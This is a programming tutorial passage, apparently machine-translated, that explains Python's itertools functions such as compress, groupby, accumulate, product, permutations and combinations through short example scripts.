filterfalse(), the result is the opposite of the previous one. compress() provides another way to filter iterative object content.Instead of calling a function, use the values in another Iterable object to indicate when a value is accepted and when a value is abused.( from itertools import * every_third = cycle([False, False, True]) data = range(1, 10) for i in compress(data, every_third): print(i, end=' ') print() The first parameter is the data iterator to process.The second parameter is a selector iterator that generates a Boolean value indicating which elements are taken from the data input (the true value indicates that this value will be generated; the false value indicates that this value will be ignored). 1.5 Data Grouping The groupby() function returns an iterator that generates a set of values organized by a common key.The following example shows how to group related values based on an attribute. import functools from itertools import * import operator import pprint @functools.total_ordering class Point: def __init__(self, x, y): self.x = x self.y = y def __repr__(self): return '({}, {})'.format(self.x, self.y) def __eq__(self, other): return (self.x, self.y) == (other.x, other.y) def __gt__(self, other): return (self.x, self.y) > (other.x, other.y) # Create a dataset of Point instances data = list(map(Point, cycle(islice(count(), 3)), islice(count(), 7))) print('Data:') pprint.pprint(data, width=35) print() # Try to group the unsorted data based on X values print('Grouped, unsorted:') for k, g in groupby(data, operator.attrgetter('x')): print(k, list(g)) print() # Sort the data data.sort() print('Sorted:') pprint.pprint(data, width=35) print() # Group the sorted data based on X values print('Grouped, sorted:') for k, g in groupby(data, operator.attrgetter('x')): print(k, list(g)) print() The input sequence is sorted by key values to ensure the expected grouping. 1.6 Merge Inputs The accumulate() function handles the input iterator, passes the nth and n+1 elements to a function, and generates a return value instead of an input.The default function of merging two values adds the two values, so accumulate() can be used to generate the sum of a sequence of numeric inputs. from itertools import * print(list(accumulate(range(5)))) print(list(accumulate('abcde'))) When used for a sequence of non-integer values, the result depends on what the two elements "add up" means.The second example in this script shows that when accumulate() receives a string input, each corresponding will be a prefix to the string and will grow in length. accumulate() can be combined with any function that takes two input values to produce different results. from itertools import * def f(a, b): print(a, b) return b + a + b print(list(accumulate('abcde', f))) This example combines string values in a special way and produces a series of (meaningless) palindromes.Each time f() is called, it prints the input value passed in by accumulate(). Nested for loops that iterate over multiple sequences can often be replaced with product(), which generates an iterator whose value is the Cartesian product of the set of input values.( from itertools import * import pprint FACE_CARDS = ('J', 'Q', 'K', 'A') SUITS = ('H', 'D', 'C', 'S') DECK = list( product( chain(range(2, 11), FACE_CARDS), SUITS, ) ) for card in DECK: print('{:>2}{}'.format(*card), end=' ') if card[1] == SUITS[-1]: print() The value generated by product() is a tuple with members taken from each iterator passed in as a parameter in the order in which it was passed in.The first tuple returned contains the first value of each iterator.The last iterator passed into product() is processed first, then the second to last iterator, and so on.The result is a return value in the order of the first iterator, the next iterator, and so on. In this example, poker cards are first sorted by face size and then by suit. To change the order of these poker cards, you need to change the order of the parameters passed into product(). from itertools import * FACE_CARDS = ('J', 'Q', 'K', 'A') SUITS = ('H', 'D', 'C', 'S') DECK = list( product( SUITS, chain(range(2, 11), FACE_CARDS), ) ) for card in DECK: print('{:>2}{}'.format(card[1], card[0]), end=' ') if card[1] == FACE_CARDS[-1]: print() The print cycle in this example looks for an A instead of a spade, and then adds a line break output line display. To calculate the product of a sequence to itself, open source specifies how many times the input is repeated.( from itertools import * def show(iterable): for i, item in enumerate(iterable, 1): print(item, end=' ') if (i % 3) == 0: print() print() print('Repeat 2:\n') show(list(product(range(3), repeat=2))) print('Repeat 3:\n') show(list(product(range(3), repeat=3))) Since repeating an iterator is like passing the same iterator in multiple times, each tuple produced by product() contains as many elements as the repeating counter. The permutations() function generates elements from the input iterator that are grouped in an arrangement of a given length.By default, it generates a complete set of all permutations. from itertools import * def show(iterable): first = None for i, item in enumerate(iterable, 1): if first != item[0]: if first is not None: print() first = item[0] print(''.join(item), end=' ') print() print('All permutations:\n') show(permutations('abcd')) print('\nPairs:\n') show(permutations('abcd', r=2)) The r parameter can be used to limit the length and number of each permutation returned. To limit values to unique combinations rather than permutations, combinations() can be used.As long as the input members are unique, the output will not contain any duplicate values. from itertools import * def show(iterable): first = None for i, item in enumerate(iterable, 1): if first != item[0]: if first is not None: print() first = item[0] print(''.join(item), end=' ') print() print('Unique pairs:\n') show(combinations('abcd', r=2)) Unlike permutations, the r parameter of combinations() is required. Although combinations() do not repeat a single input element, there may be times when you need to consider including duplicate combinations of elements.In this case, you can use combinations_with_replacement(). from itertools import * def show(iterable): first = None for i, item in enumerate(iterable, 1): if first != item[0]: if first is not None: print() first = item[0] print(''.join(item), end=' ') print() print('Unique pairs:\n') show(combinations_with_replacement('abcd', r=2)) In this output, each input element is paired with itself and all other members of the input sequence.
https://programmer.group/python-3-standard-library-itertools-iterator-function.html
CC-MAIN-2020-16
refinedweb
2,591
51.38
hi all....am fairly new to XML and need some advice on following. I have an xml document which starts something like this: <?xml version="> having read around/websearch etc have found out that this part of the doc is where the namespaces used in the schema (which follows above script) are being identified by URI references - am I right so far? These uuids: seem to be common (found loads via websearch) is this a common source? microsoft thing? the doc goes on to contain the schema and xml content, however when i have tried to set up an html template in an XSL and transform this doc so it displays the html (have already done this successfuly with my own xml/schema/xsl) my IDE (XMLSpy) tells me that although the xml doc is well-formed, it is, "unable to locate a reference to a supported schema kind (DTD, DCD, W3C Schema, XML-Data, Biz-Talk) within this document instance" anyone got any ideas so that I can get on and get some html output here!!?? really grateful for any snippets which may get me on the right trail.. have attached file too....
http://forums.devshed.com/xml-programming/31312-namespaces-schemas-last-post.html
CC-MAIN-2017-22
refinedweb
194
69.75
Description Mr. Queue - A distributed worker task queue in Python using Redis & gevent mrq alternatives and similar packages Based on the "Queue" category. Alternatively, view mrq alternatives based on common mentions on social networks and blogs. - huey7.6 6.4 L5 mrq VS hueya little task queue for python kombu7.3 7.9 mrq VS kombuMessaging library for Python. Streamz4.6 7.9 mrq VS StreamzReal-time stream processing for python - Procrastinate2.3 8.7 mrq VS ProcrastinatePostgreSQL-based Task Queue for Python simpleq2.2 0.0 L5 mrq VS simpleqA simple, infinitely scalable, SQS based queue. rele2.1 2.6 mrq VS releEasy to use Google Pub/Sub qoo0.4 0.0 mr mrq or a related project? Popular Comparisons README MRQ MRQ is a distributed task queue for python built on top of mongo, redis and gevent. Full documentation is available on readthedocs Why? MRQ is an opinionated task queue. It aims to be simple and beautiful like RQ while having performances close to Celery MRQ was first developed at Pricing Assistant and its initial feature set matches the needs of worker queues with heterogenous jobs (IO-bound & CPU-bound, lots of small tasks & a few large ones). Main Features -. - Builtin scheduler: Schedule tasks by interval or by time of the day - Strategies: Sequential or parallel dequeue order, also a burst mode for one-time or periodic batch jobs. - Subqueues: Simple command-line pattern for dequeuing multiple sub queues, using auto discovery from worker side. - Thorough testing: Edge-cases like worker interrupts, Redis failures, ... are tested inside a Docker container. - Greenlet tracing: See how much time was spent in each greenlet to debug CPU-intensive jobs. - Integrated memory leak debugger: Track down jobs leaking memory and find the leaks with objgraph. Dashboard Screenshots This 5-minute tutorial will show you how to run your first jobs with MRQ. Installation - Make sure you have installed the [dependencies](dependencies.md) : Redis and MongoDB - Install MRQ with pip install mrq - Start a mongo server with mongod & - Start a redis server with redis-server & Write your first task Create a new directory and write a simple task in a file called tasks.py : $ mkdir test-mrq && cd test-mrq $ touch __init__.py $ vim tasks.py from mrq.task import Task import urllib2 class Fetch(Task): def run(self, params): with urllib2.urlopen(params["url"]) as f: t = f.read() return len(t) Run it synchronously You can now run it from the command line using mrq-run: $ mrq-run tasks.Fetch url 2014-12-18 15:44:37.869029 [DEBUG] mongodb_jobs: Connecting to MongoDB at 127.0.0.1:27017/mrq... 2014-12-18 15:44:37.880115 [DEBUG] mongodb_jobs: ... connected. 2014-12-18 15:44:37.880305 [DEBUG] Starting tasks.Fetch({'url': ''}) 2014-12-18 15:44:38.158572 [DEBUG] Job None success: 0.278229s total 17655 Run it asynchronously Let's schedule the same task 3 times with different parameters: $ mrq-run --queue fetches tasks.Fetch url && mrq-run --queue fetches tasks.Fetch url && mrq-run --queue fetches tasks.Fetch url 2014-12-18 15:49:05.688627 [DEBUG] mongodb_jobs: Connecting to MongoDB at 127.0.0.1:27017/mrq... 2014-12-18 15:49:05.705400 [DEBUG] mongodb_jobs: ... connected. 2014-12-18 15:49:05.729364 [INFO] redis: Connecting to Redis at 127.0.0.1... 5492f771520d1887bfdf4b0f 2014-12-18 15:49:05.957912 [DEBUG] mongodb_jobs: Connecting to MongoDB at 127.0.0.1:27017/mrq... 2014-12-18 15:49:05.967419 [DEBUG] mongodb_jobs: ... connected. 2014-12-18 15:49:05.983925 [INFO] redis: Connecting to Redis at 127.0.0.1... 5492f771520d1887c2d7d2db 2014-12-18 15:49:06.182351 [DEBUG] mongodb_jobs: Connecting to MongoDB at 127.0.0.1:27017/mrq... 2014-12-18 15:49:06.193314 [DEBUG] mongodb_jobs: ... connected. 2014-12-18 15:49:06.209336 [INFO] redis: Connecting to Redis at 127.0.0.1... 5492f772520d1887c5b32881 You can see that instead of executing the tasks and returning their results right away, mrq-run has added them to the queue named fetches and printed their IDs. Now start MRQ's dasbhoard with mrq-dashboard & and go check your newly created queue and jobs on localhost:5555 They are ready to be dequeued by a worker. Start one with mrq-worker and follow it on the dashboard as it executes the queued jobs in parallel. $ mrq-worker fetches 2014-12-18 15:52:57.362209 [INFO] Starting Gevent pool with 10 worker greenlets (+ report, logs, adminhttp) 2014-12-18 15:52:57.388033 [INFO] redis: Connecting to Redis at 127.0.0.1... 2014-12-18 15:52:57.389488 [DEBUG] mongodb_jobs: Connecting to MongoDB at 127.0.0.1:27017/mrq... 2014-12-18 15:52:57.390996 [DEBUG] mongodb_jobs: ... connected. 2014-12-18 15:52:57.391336 [DEBUG] mongodb_logs: Connecting to MongoDB at 127.0.0.1:27017/mrq... 2014-12-18 15:52:57.392430 [DEBUG] mongodb_logs: ... connected. 2014-12-18 15:52:57.523329 [INFO] Fetching 1 jobs from ['fetches'] 2014-12-18 15:52:57.567311 [DEBUG] Starting tasks.Fetch({u'url': u''}) 2014-12-18 15:52:58.670492 [DEBUG] Job 5492f771520d1887bfdf4b0f success: 1.135268s total 2014-12-18 15:52:57.523329 [INFO] Fetching 1 jobs from ['fetches'] 2014-12-18 15:52:57.567747 [DEBUG] Starting tasks.Fetch({u'url': u''}) 2014-12-18 15:53:01.897873 [DEBUG] Job 5492f771520d1887c2d7d2db success: 4.361895s total 2014-12-18 15:52:57.523329 [INFO] Fetching 1 jobs from ['fetches'] 2014-12-18 15:52:57.568080 [DEBUG] Starting tasks.Fetch({u'url': u''}) 2014-12-18 15:53:00.685727 [DEBUG] Job 5492f772520d1887c5b32881 success: 3.149119s total 2014-12-18 15:52:57.523329 [INFO] Fetching 1 jobs from ['fetches'] 2014-12-18 15:52:57.523329 [INFO] Fetching 1 jobs from ['fetches'] You can interrupt the worker with Ctrl-C once it is finished. Going further This was a preview on the very basic features of MRQ. What makes it actually useful is that: - You can run multiple workers in parallel. Each worker can also run multiple greenlets in parallel. - Workers can dequeue from multiple queues - You can queue jobs from your Python code to avoid using mrq-runfrom the command-line. These features will be demonstrated in a future example of a simple web crawler. More Full documentation is available on readthedocs *Note that all licence references and agreements mentioned in the mrq README section above are relevant to that project's source code only.
https://python.libhunt.com/mrq-alternatives
CC-MAIN-2021-31
refinedweb
1,088
61.33
Monte Carlo Simulation in Python – Simulating a Random Walk Ok so it’s about that time again – I’ve been thinking what my next post should be about and I have decided to have a quick look at Monte Carlo simulations. Wikipedia states “Monte Carlo methods (or Monte Carlo experiments) distinct problem classes:[1] optimization, numerical integration, and generating draws from a probability distribution.” often assumed for these kind of purposes). This type of price evolution is also known as a “random walk”. If we want to buy a particular stock, for example, we may like to try to look into the future and attempt to predict what kind of returns we can expect with what kind of probability, or we may be interested in investigating what potential extreme outcomes we may experience and how exposed we are to the risk of ruin or, on the flip side, superior returns. To set up our simulation, we need to estimate the expected level of return (mu) and volatility (vol) of the stock in question. This data can be estimated from historic prices, with the simplest methods just assuming past mean return and volatility levels will continue into the future. One could also adjust historic data to account for investor views or market regime changes etc, however to keep things simple and concentrate on the code we will just set simple return and volatility levels based on past price data. OK so let’s start to write some code and generate the initial data we need as inputs to our Monte Carlo simulation. For illustrative purposes let’s look at the stock of Apple Inc….not very original, but there you go! We begin with the obligatory importation of the necessary modules to assist us, and go from there: #import necessary packages import numpy as np import math import matplotlib.pyplot as plt from scipy.stats import norm from pandas_datareader import data #download Apple price data into DataFrame apple = data.DataReader('AAPL', 'yahoo',start='1/1/2000') #calculate the compound annual growth rate (CAGR) which #will give us our mean return input (mu) days = (apple.index[-1] - apple.index[0]).days cagr = ((((apple['Adj Close'][-1]) / apple['Adj Close'][1])) ** (365.0/days)) - 1 print ('CAGR =',str(round(cagr,4)*100)+"%") mu = cagr #create a series of percentage returns and calculate #the annual volatility of returns apple['Returns'] = apple['Adj Close'].pct_change() vol = apple['Returns'].std()*sqrt(252) print ("Annual Volatility =",str(round(vol,4)*100)+"%") This gives us: CAGR = 23.09% Annual Volatility = 42.59% Now we know our mean return input (mu) is 23.09% and our volatility input (vol) is 42.59% – the code to actually run the Monte Carlo simulation is as follows: #Define Variables S = apple['Adj Close'][-1] #starting stock price (i.e. last available real stock price) T = 252 #Number of trading days mu = 0.2309 #Return vol = 0.4259 #Volatility ) #Generate Plots - price series and histogram of daily returns plt.plot(price_list) plt.show() plt.hist(daily_returns-1, 100) #Note that we run the line plot and histogram separately, not simultaneously. plt.show() This code returns the following plots: The above code basically ran a single simulation of potential price series evolution over a trading year (252 days), based upon a draw of random daily returns that follow a normal distribution. This is represented by the single line series shown in the first chart. The second chart plots a histogram of those random daily returns over the year period. So great – we have managed to successfully simulate a year’s worth of future daily price data. This is fantastic and all, but really it doesn’t afford us much insight into risk and return characteristics of the stock as we only have one randomly generated path. The likelyhood of the actual price evolving exactly as described in the above charts is pretty much zero. So what’s the point of this simulation you may ask? Well, the real insight is gained from running thousands, tens of thousands or even hundreds of thousands of simulations, with each run producing a different series of potential price evolution based upon the same stock characteristics (mu and vol). We can very simply adjust the above code to run multiple simulations. This code is presented below. In the below code you will notice a couple of things – firstly I have removed the histogram plot (we’ll come back to this in a slightly different way later), and also the code now plots multiple price series on one chart to show info for each separate run of the simulation. import numpy as np import math import matplotlib.pyplot as plt from scipy.stats import norm #Define Variables S = apple['Adj Close'][-1] #starting stock price (i.e. last available real stock price) T = 252 #Number of trading days mu = 0.2309 #Return vol = 0.4259 #Volatility #choose number of runs to simulate - I have chosen 1000 for i in range(1000): ) #show the plot of multiple price series created above plt.show() This give us the following plot of the 1000 different simulated price series Amazing! Now we can see the potential outcomes generated from 1000 different simulations, all based on the same basic inputs, allowing for the randomness of the daily return series. The spread of final prices is quite large, ranging from around $45 to $500! That’s a pretty wide spread! In it’s current format, with the chart being so full of data it can be a little difficult to actually see clearly what is going on – so this is where we come back to the histogram that we removed before, albeit this time it will show us the distribution of ending simulation values, rather than the distribution of daily returns for an individual simulation. I have also simulated 10,000 runs this time to give us more data. Again, the code is easily adapted to include this histogram. import numpy as np import math import matplotlib.pyplot as plt from scipy.stats import norm #set up empty list to hold our ending values for each simulated price series result = [] #Define Variables S = apple['Adj Close'][-1] #starting stock price (i.e. last available real stock price) T = 252 #Number of trading days mu = 0.2309 #Return vol = 0.4259 #Volatility #choose number of runs to simulate - I have chosen 10,000 for i in range(10000): ) #append the ending value of each simulated run to the empty list we created at the beginning result.append(price_list[-1]) #show the plot of multiple price series created above plt.show() #create histogram of ending stock values for our mutliple simulations plt.hist(result,bins=50) plt.show() This gives us the following charts: We can now quickly calculate the mean of the distribution to get our “expected value”: #use numpy mean function to calculate the mean of the result print(round(np.mean(result),2)) Which gives me 141.15. Of course you will get a slightly different result due to the fact that these are simulations of random daily return draws. The more paths or “runs” you include in each simulation, the more the mean value will tend towards the mean return we used as our “mu” input. This is as a result of the law of large numbers. We can also take a look at a couple of “quantiles” of the potential price distribution, to get an idea of the likelyhood of very high or very low returns. We can just use the numpy “percentile” function as follows to calculate the 5% and 95% quantiles: print("5% quantile =",np.percentile(result,5)) print("95% quantile =",np.percentile(result,95)) 5% quantile = 63.5246208951 95% quantile = 258.436742087 Lovely! So we now know that there is a 5% chance that our stock price will end up below around $63.52 and a 5% chance it will finish above $258.44. So now we can begin to ask ourselves questions along the lines of “am I willing to risk a 5% chance of ending up with a stock worth less than $63.52, in order to chase an expected return of around 23%, giving us an expected stock price of around $141.15?” I think the last thing to do is to quickly plot the two quantiles we have just calculated on the histogram to give us a visual representation and…well, why the hell not eh? 😉 plt.hist(result,bins=100) plt.axvline(np.percentile(result,5), color='r', linestyle='dashed', linewidth=2) plt.axvline(np.percentile(result,95), color='r', linestyle='dashed', linewidth=2) plt.show() Ok, I think i’ll leave it there for now – if anyone has any comments or questions, please do leave them below. Thanks! Thanks for the interesting article! I found your blog very useful. I have just one thing to note regarding this line: daily_returns=np.random.normal(mu/T,vol/math.sqrt(T),T)+1 Here you use arithmetic returns (and not log returns) so if you use mu/T for calculating daily returns from annual one you will end up applying compund returns. It will overestimate the annual return (mu). Instead I would use something like this: daily_returns=np.random.normal((1+mu)**(1/T),vol/sqrt(T),T) Cheers! Viktor Hi Viktor, thanks for the comment. You are indeed correct…I was concentrating too much on the coding element of the blog post and missed that simple error’ I appreciate you pointing it out! Also, very happy to hear you’re finding the blog useful. Hi. I’m REALLY enjoying this great blog so far. Thanks! This post is really useful, but I think there’s a problem – the calculation of a price list using: for x in daily_returns: price_list.append(price_list[-1]*x) Blows up to ridiculous numbers, on the order of 10^(77). I ran this script on the day of posting, and those are the results I was getting. I don’t see how I could have done anything wrong, but I apologize if I did. Does anyone have any thoughts on this? I can’t seem to find a solution yet. Cheers, Stephen. Hi Stephen, glad to hear you’re finding the content interesting…thanks for your comment. You are correct that I made a mistake in the second block of code (although the following blocks that actually runs the Monte Carlo simulations are correct) – instead of the code posted, it should have been: Hope that helps – I will fix the code when I get a moment. Cheers! Hi, Thanks for your reply. I did manage to get sensible results when using: daily_returns = np.random.normal((1 + mu) ** (1/T), volatility/math.sqrt(T), T) i.e. by not including the +1 term at the end. I’m having trouble finding a source to explain the mathematics of modelling daily returns though, so removing it might not be a legitimate solution. It does appear to work though! Thanks again, I’m looking forward to studying the rest of your posts. Cheers, Stephen. datareader doesn’t work properly with yahoo finance Hi Denis – I have just tried to run the code above and it works fine without any error in downloading Apple stock price data from Yahoo. May I ask what error message you are getting? There was an issue with the Pandas Data_reader whereby prices couldn’t be downloaded anymore but that was fixed in a later update. Perhaps you could try updating your pandas-datareader package to the latest version with pip. Try running: pip install data-reader –upgrade in a CMD terminal. Denis, you probably figured it out by now, historical prices area avail at yahoo in csv. #download Apple price data into DataFrame apple = pd.read_csv(‘AAPL.csv’, usecols=[‘Date’,’Adj Close’],index_col=0, parse_dates=True) This blog is really helpful, and I’m learning a lot about Python as I go through the lessons. Could you help me with a (probably silly) question? You use the following normal distribution for daily returns: ‘daily_returns=np.random.normal(mu/T,vol/math.sqrt(T),T)+1’. Why add the constant ‘1’ to the distribution? I believe that adding a constant changes the mean and not the variance, but I tried plotting it without the constant to no avail (nothing appears). I tried other constants and would get weird or no plots, too. I’m sure there’s a simply explanation about adding the constant ‘1’, which I’m not aware of. Thanks for your comment – the answer of why I am adding 1 to the distribution is as follows: I am generating a set of random “normally distributed” returns based on the mean and variance of the particular price series we happen to be looking at (in the above example it is Apple stock). The next step is to apply those randomly generated returns to the “starting price “of Apple (which in our case is the last entry of “real” data downloaded from Yahoo), and then generated, step by step a set of “generated” price series. The issue comes as the normal distribution will spit out numbers such as “0.0345” or “-0.0126” to select two completely random examples. You have to add 1 to each of those numbers so that when you step through each randomly generated return and multiply it by the previous stock price – you get the new price of the stock, rather than just the incermental increase or decrease. For example, if 100 increases by 2% for example, you don’t just multiply 100 by 0.02 – you multiply it by 1.02 (i.e. you add 1 to the return). This is why 1 is added to each of the returns in the generated return series. Hope that answers the question. That was helpful. Thanks. I forgot that the normal distribution was of returns. Traceback (most recent call last): File “C:\Users\Denis\AppData\Local\Programs\Python\Python36-32\1.py”, line 9, in apple = data.DataReader(‘AAPL’, ‘yahoo’,start=’1/1/2000′) File “C:\Users\Denis\AppData\Local\Programs\Python\Python36-32\lib\site-packages\pandas_datareader\data.py”, line 291, in DataReader raise ImmediateDeprecationError(DEP_ERROR_MSG.format(‘Yahoo Daily’)) pandas_datareader.exceptions.ImmediateDeprecationError: Yahoo Daily has been immediately deprecated due to large breaks in the API without the introduction of a stable replacement. Pull Requests to re-enable these data connectors are welcome. See Thank you for your previous reply and sorry for my delay Thank you very much for the detailled presentation. I wish to find out how i can run the montecarlo simulation and calculate the returns for a portfolio of stocks Thank you thanks for the tutorial! I’m trying to run 100,000 iterations and it takes a huge amount of time. I’d like to cut that time down a little… How can this code be optimized to use more cores or threads? I’ve got 8 cores and 16 threads and id like to use them all. Do you know how to cut the time down for these monte carlo sims? Hi Phillip – I have been playing around with the code and have created a multithreaded process however the pay off in speed is actually negative, the way I have structured it. This is due to the fact that the biggest time sink in the whole script is the call to “plt.plot(price_list)” in each iteration of the simulation – with the ending call of “plt.show()” actually displaying the chart with all the 100,000 odd lines on. If you were to remove these calls to plot each and every MC iteration result – the code would speed up massively. You can still keep the call the plot the histogram as that doesn’t take up too much time. The reason why the multi-threaded code ended up taking longer I believe is due to the fact that it takes longer to fire up the threads and use them, than the time saving you get from doing that. The actual generation of the daily returns is pretty darn fast for each iteration so multi-threading it was counter-productive. If you could multi-thread the creation of the plot then that would be the way to go but I’m really not sure that’s even possible!! If you want to test it out for yourself I have pasted the mutli-threaded code below: If you uncomment out the line “time.sleep(0.1) and compare that to the old code also with a “time.sleep(0.1)” added to each iteration, you will see that the multi-threading starts to pay positive dividends in terms of time savings and it is now worthwhile taking the time to fire up new threads. Wondering what’s the best way to deterimate the data during we use? (ex: You use 01/01/2010 to the latest) Great post by the way!
https://www.pythonforfinance.net/2016/11/28/monte-carlo-simulation-in-python/?utm_source=rss&utm_medium=rss&utm_campaign=monte-carlo-simulation-in-python
CC-MAIN-2019-51
refinedweb
2,830
63.39
. I wasn't include arch-specific options in the "minimal distro config" stuff. That doesn't seem minimal to me. I was thinking more along the lines of "distro X needs CGROUPS, SELINUX, HOTPLUG, DEVTMPFS, namespace stuff". Stuff that they need that is basically architecture independent that the distro userspace needs. Having the distro provide files that select architecture specific options and variations of that really doesn't seem any better than what most of them do already, which is just ship the whole damn config file in /boot (or some other location). > For the end user case you need the distro to plonk the right file in the > right place and be done with it, once they do that the rest is > bikeshedding a ten line Makefile rule. If people want the distros to plonk some architecture+distro specific minimal config file down as part of the packaging, I guess that's a thing that could be done. I'd honestly wonder if maintaining X number of those in the packaging is something the distro maintainers would really like to do, but one can always hope. josh
https://lists.debian.org/debian-kernel/2012/07/msg00554.html
CC-MAIN-2014-15
refinedweb
188
57
A cumulative average tells us the average of a series of values up to a certain point. You can use the following syntax to calculate the cumulative average of values in a column of a pandas DataFrame: df['column_name'].expanding().mean() The following example shows how to use this syntax in practice. Example: Calculate Cumulative Average in Python Suppose we have the following pandas DataFrame that shows the total sales made by some store during 16 consecutive days: import pandas as pd import numpy as np #create DataFrame df = pd.DataFrame({'day': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16], 'sales': [3, 6, 0, 2, 4, 1, 0, 1, 4, 7, 3, 3, 8, 3, 5, 5]}) #view first five rows of DataFrame df.head() day sales 0 1 3 1 2 6 2 3 0 3 4 2 4 5 4 We can use the following syntax to calculate the cumulative average of the sales column: #calculate average of 'sales' column df['sales'].expanding().mean() 0 3.000000 1 4.500000 2 3.000000 3 2.750000 4 3.000000 5 2.666667 6 2.285714 7 2.125000 8 2.333333 9 2.800000 10 2.818182 11 2.833333 12 3.230769 13 3.214286 14 3.333333 15 3.437500 Name: sales, dtype: float64 We would interpret the cumulative average values as: - The cumulative average of the first sales value is 3. - The cumulative average of the first two sales values is 4.5. - The cumulative average of the first three sales values is 3. - The cumulative average of the first four sales values is 2.75. And so on. Note that you can also use the following code to add the cumulative average sales values as a new column in the DataFrame: #add cumulative average sales as new column df['cum_avg_sales'] = df['sales'].expanding().mean() #view updated DataFrame df day sales cum_avg_sales 0 1 3 3.000000 1 2 6 4.500000 2 3 0 3.000000 3 4 2 2.750000 4 5 4 3.000000 5 6 1 2.666667 6 7 0 2.285714 7 8 1 2.125000 8 9 4 2.333333 9 10 7 2.800000 10 11 3 2.818182 11 12 3 2.833333 12 13 8 3.230769 13 14 3 3.214286 14 15 5 3.333333 15 16 5 3.437500 The cum_avg_sales column shows the cumulative average of the values in the “sales” column. Additional Resources The following tutorials explain how to calculate other common metrics in Python: How to Calculate a Trimmed Mean in Python How to Calculate Geometric Mean in Python How to Calculate Moving Averages in Python
https://www.statology.org/cumulative-average-python/
CC-MAIN-2022-40
refinedweb
455
79.36
Have you ever found yourself in a situation where the characterization software did not support the hardware you were trying to use? Your tests may be complex, where the measurement conditions of your next data point depend on previous measurement results. I have found that using Python integrated with the IC-CAP software leads to a powerful and flexible solution that is supported by an open community. To help with the test development, I have found it useful to create a software layer that handles error checking and low-level function calls. In what follows, I'll describe the use of a "PyVISAWrapper" that can simplify your test suite development. My Motivation I found myself in a tricky situation when I started using IC-CAP to characterize and model my memristor devices. I needed to perform a quasi-static measurement to precisely control the ramp rate of the voltage sweep by adding a hold time and source delay time, and to control the delay between measurements. However, in some tests, the measurement conditions for the next measurement in IC-CAP depend on previously measured values. Because of that, IC-CAP’s built-in, general-purpose instrument drivers didn’t support my need to perform a quasi-static measurement. The solution I found to my dilemma was to write Python code in IC-CAP to control my instruments. The process builds on my previous post, Extending the Power of IC-CAP with Python - PyVISA Instrument Control. Using this process, you too can write Python code to control your instruments and create highly flexible measurement routines. The PyVISA library turned out to be a great way for me to meet these goals, plus it enables portability across several control interfaces (e.g., GPIB and LAN). And, it was tempting for me to dive right in and start writing instrument specific commands using the default GPIB interface. Instead though, I took a step back and thought about how to make my Python code more general. To that end, I decided to create a wrapper for PyVISA’s low-level library functions that would allow me to send the most common VISA calls to control an instrument (e.g., open(), write(), read(), query(), etc.). PyVISA Wrapper Utility You might ask, “Why employ a wrapper utility to use the PyVISA library for instrument control?” It’s a fair question and the answer is pretty straightforward. The wrapper utility may be considered a high-level API for controlling instruments. With carefully constructed API function calls, an engineer can more easily create a suite of tests leveraging smarter I/O function calls, including writing instrument commands, querying responses, checking for command complete events, parsing the measurement data, checking for errors, and providing meaningful troubleshooting information. What follows are details on how you can use an open source PyVISA wrapper utility I wrote called pyvisawrapper.py to simplify writing custom Python code to control almost any instrument. The example code provides the same functionality as the _init_pyvisa macro presented in my last article, but it also adds some useful features described above. The pyvisawrapper API facilitates communication with any instrument that uses TCP/IP or USB, in addition to the standard GPIB. Using the E5270B analyzer as an example instrument, I’ll revisit the _init_pyvisa macro and illustrate the advantages of using the pyvisawrapper functions over low-level function calls. Prerequisites Since for this process, we’ll leverage the IC-CAP Python library, as well as the PyVISA library, using import statements, it’s important to make sure you have your Python environment configured correctly. Here’s a few of the basic prerequisites: - Install IC-CAP_2016_01 or later, under Windows 7 in the default installation directory, which is typically C:\Keysight\ICCAP_2016_01. - Install the Keysight IO Libraries 17.x software and configure it to use the VISA library visa32.dll. This dynamic link library will be installed in the C:\Windows\system32 directory. - Configure and test communication with your instruments using the Keysight Connection Expert software. - Before attempting this example, install and configure a virtual Python environment and install the PyVISA library presented in my aforementioned article, Extending the Power of IC-CAP with Python - PyVISA Instrument Control. Key to this process is the installation of a standalone Python interpreter, which will be great for developing experimental Python scripts and debugging in programming tools for making future modifications to your custom code, like pyvisawrapper itself, outside of the IC-CAP environment. - Download and copy the pyvisawrapper.py script to your user directory. I personally like to create a sub-directory under my account C:/Users/username/iccap/python to store my own custom python code. - Set the ICCAP_USER_PYTHON_PATH environment variable in your Windows 7 advanced systems settings to add this directory to the search path. This will allow IC-CAP to find your Python scripts. - You will need some instruments that can be remotely controlled via GPIB or LAN. Any instrument will do. Overview The following is a high-level overview of the code we are going to implement: - Test your new virtual Python environment installed as part of the prerequisites. - Create a new IC-CAP macro named _pyvisa_run. - Activate the virtual Python environment from your script. - Import the iccap.py and visa.py modules from the IC-CAP and virtual Python 2.7 environments. - Import the pyvisawrapper.py to use the high-level API functions in your macro. - Use the visaOpenSession() function to access the PyVISA ResourceManager and perform the VISA open() on the Keysight E5270B resource via the GPIB interface. - Use the visaCloseSession() to close the resource before exiting the script. - Use the visaQuery() function to send the *IDN? command to the E5270B and read its response. - Use the visaClear() function to perform a GPIB device clear and leave the GPIB interface in a initialized state. Step-By-Step Process for Using pyvisawrapper Step 1. Verify your new virtual Python environment Verify the activated Python 2.7 environment by checking the system path 'sys.path' and system prefix 'sys.prefix.' To do this, open a Windows command shell and perform the following steps: Activate the (icenv) virtual environment C:\Users\username> workon icenv (icenv) C:\Keysight\IC-CAP_2016_01\tools\win32_64> Change the directory to virtual env (icenv) C:\Users\username> cdvirtualenv Check the Python interpreter version for (icenv) (icenv) C:\Users\username\Envs\icenv> python -V The version should return: Python 2.7.3 Start the interactive Python interpreter for the virtual environment. (icenv) C:\Users\username\Envs\icenv> python You should see something like the following: Python 2.7.3 (default, Feb 1 2013, 15:22:31) [MSC v.1700 64 bit (AMD64)] on win32 Type "help", "copyright", "credits" or "license" from more information. >>> Now, enter the following commands at the Python >>> interactive prompt: >>> import sys >>> print sys.prefix You should see something like the following: C:\Users\username\Envs\icenv Now type: >>> print sys.path You should see something like the following: [''\,C:\\Users\\username\\Envs\\icenv\\Scripts\\python27.zip', 'C:\\Users\\username\\Envs\\icenv\\DLLs', 'C:\\Users\\username\\Envs\\icenv\\lib', 'C:\\Users\\username\\Envs\\icenv\\lib\plat-win', 'C:\\Users\\username\\Envs\\icenv\\lib-tk', 'C:\\Users\\username\\Envs\\icenv\\Scripts', 'C:\\Users\\username\\Envs\\icenv\\DLLs', 'C:\\Keysight\\ICCAP_2016_01\\tools\\win32_64\\Lib', 